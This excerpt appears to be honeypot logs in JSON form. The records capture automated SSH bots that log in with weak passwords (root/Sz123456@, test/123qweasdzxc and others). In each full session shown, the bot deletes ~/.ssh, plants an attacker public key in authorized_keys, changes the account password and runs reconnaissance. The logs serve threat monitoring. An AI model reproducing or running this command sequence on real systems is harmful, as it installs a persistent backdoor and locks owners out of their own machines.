-l"},{"seq":20,"at":"2026-08-27T11:37:57.044596+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:57.381382+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:57.897323+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:57 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:58.225615+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:58.897870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:59.226765+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:59.816441+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:38:00.143865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:38:00.553117+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:38:00.883805+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:38:01.953808+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:38:02.282948+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:38:04.451249+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"cd3b0015-fb4b-40cd-99fa-6a8b36ea71d4","name":"barren-gnarled-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37934,"username":"ram","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":280,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:37:42.249902+00:00","ended_at":"2026-08-27T11:37:43.573831+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T11:37:17.772212+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:18.052071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:21.847659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:22.442667+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:22.726117+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nyiUk2sYXHzlx\\nyiUk2sYXHzlx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:37:22.999866+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nyiUk2sYXHzlx\\nyiUk2sYXHzlx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:37:23.278481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:24.096267+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:24.374820+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:25.270893+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:25.551485+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:27.355464+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:27.635537+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:28.577313+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:28.857865+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:30.355022+00:00","kind":"output","latency_ms":null,"data":" 11:37:30 up 7 days, 8:27, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:30.635739+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:32.042225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:32.321895+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:34.227588+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:34.507843+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:34.999370+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:34 up 7 days, 8:27, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:35.279819+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:36.857447+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:37.137470+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:38.297693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:37:38.575965+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:37:40.219201+00:00","kind":"output","latency_ms":null,"data":"ram"},{"seq":29,"at":"2026-08-27T11:37:40.504897+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:37:41.972205+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:37:42.250784+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:37:43.492046+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ram","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"7721f4ad-4e82-489a-bbb8-fabdb93f19bd","name":"steady-freckled-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59126,"username":"marco","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:37:28.743030+00:00","ended_at":"2026-08-27T11:37:30.363744+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2211,"events":[{"seq":1,"at":"2026-08-27T11:37:06.804594+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:07.258667+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:12.351167+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:13.196784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:13.650727+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nelXge7Ab8rP4\\nelXge7Ab8rP4\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:37:14.106612+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nelXge7Ab8rP4\\nelXge7Ab8rP4\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:37:14.558898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:15.421637+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:15.883690+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:16.815148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:17.274537+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:18.613855+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:19.071788+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:19.819257+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:20.279438+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:20.567330+00:00","kind":"output","latency_ms":null,"data":" 11:37:20 up 7 days, 8:27, 0 user, load average: 0.16, 0.2, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:21.022873+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:21.521648+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:21.978392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:22.401051+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:22.857675+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:23.523325+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:23 up 7 days, 8:27, 0 user, load average: 0.16, 0.2, 0.14\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:23.980648+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:24.789142+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:25.246176+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:25.576247+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:37:26.031901+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:37:26.428240+00:00","kind":"output","latency_ms":null,"data":"marco"},{"seq":29,"at":"2026-08-27T11:37:26.883471+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:37:28.289477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:37:28.743867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:37:30.222572+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"marco","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"aabbf096-4217-4e17-88bf-ed63e4672b81","name":"thrifty-umber-civet","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":33370,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:37:15.360384+00:00","ended_at":"2026-08-27T11:37:16.737688+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2096,"events":[{"seq":1,"at":"2026-08-27T11:36:54.215691+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:36:54.519116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:36:59.289067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:00.126225+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:00.428336+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qweasdzxc\\nUa9vFJJCsPY8\\nUa9vFJJCsPY8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:37:00.730520+00:00","kind":"input","latency_ms":null,"data":"echo \"123qweasdzxc\\nUa9vFJJCsPY8\\nUa9vFJJCsPY8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:37:01.032585+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:01.688950+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:01.994736+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:03.236189+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:03.539869+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:04.948521+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:05.252949+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:06.134635+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:06.435533+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:07.187858+00:00","kind":"output","latency_ms":null,"data":" 11:37:07 up 7 days, 8:27, 0 user, load average: 0.08, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:07.488687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:08.317288+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:08.617942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:09.300743+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:09.602769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:10.382816+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:10 up 7 days, 8:27, 0 user, load average: 0.08, 0.1, 0.09\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:10.684551+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:11.417522+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:11.718769+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:12.382555+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:37:12.685532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:37:13.473516+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T11:37:13.775258+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:37:15.059489+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:37:15.361396+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:37:16.647022+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"123qweasdzxc","method":"password","accepted":true,"tier":"other"}]} {"id":"cfc4bd2b-d7d2-4909-869e-dd8260b74390","name":"cunning-bashful-vole","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":54944,"username":"zsolt","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":733,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:36:56.632904+00:00","ended_at":"2026-08-27T11:36:57.998390+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2206,"events":[{"seq":1,"at":"2026-08-27T11:36:27.660167+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:36:28.385106+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:36:35.312150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:36:35.753656+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:36:36.481038+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zsolt\\nrnLEFeGImF3U\\nrnLEFeGImF3U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:36:37.208247+00:00","kind":"input","latency_ms":null,"data":"echo \"zsolt\\nrnLEFeGImF3U\\nrnLEFeGImF3U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:36:37.936325+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:36:38.599530+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:36:39.356855+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:36:40.398150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:36:41.195282+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:36:42.544798+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:36:43.284925+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:36:44.030463+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:36:44.764633+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:36:45.366606+00:00","kind":"output","latency_ms":null,"data":" 11:36:45 up 7 days, 8:26, 0 user, load average: 0.33, 0.29, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:36:46.100668+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:36:46.967104+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:36:47.703572+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:36:48.557894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:36:49.285679+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:36:49.734231+00:00","kind":"output","latency_ms":null,"data":"top - 11:36:49 up 7 days, 8:26, 0 user, load average: 0.33, 0.29, 0.33\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:36:50.461136+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:36:51.323905+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:36:52.060202+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:36:52.675488+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:36:53.399764+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:36:54.080369+00:00","kind":"output","latency_ms":null,"data":"zsolt"},{"seq":29,"at":"2026-08-27T11:36:54.814220+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:36:55.905062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:36:56.633703+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:36:57.766796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zsolt","password":"zsolt","method":"password","accepted":true,"tier":"other"}]} 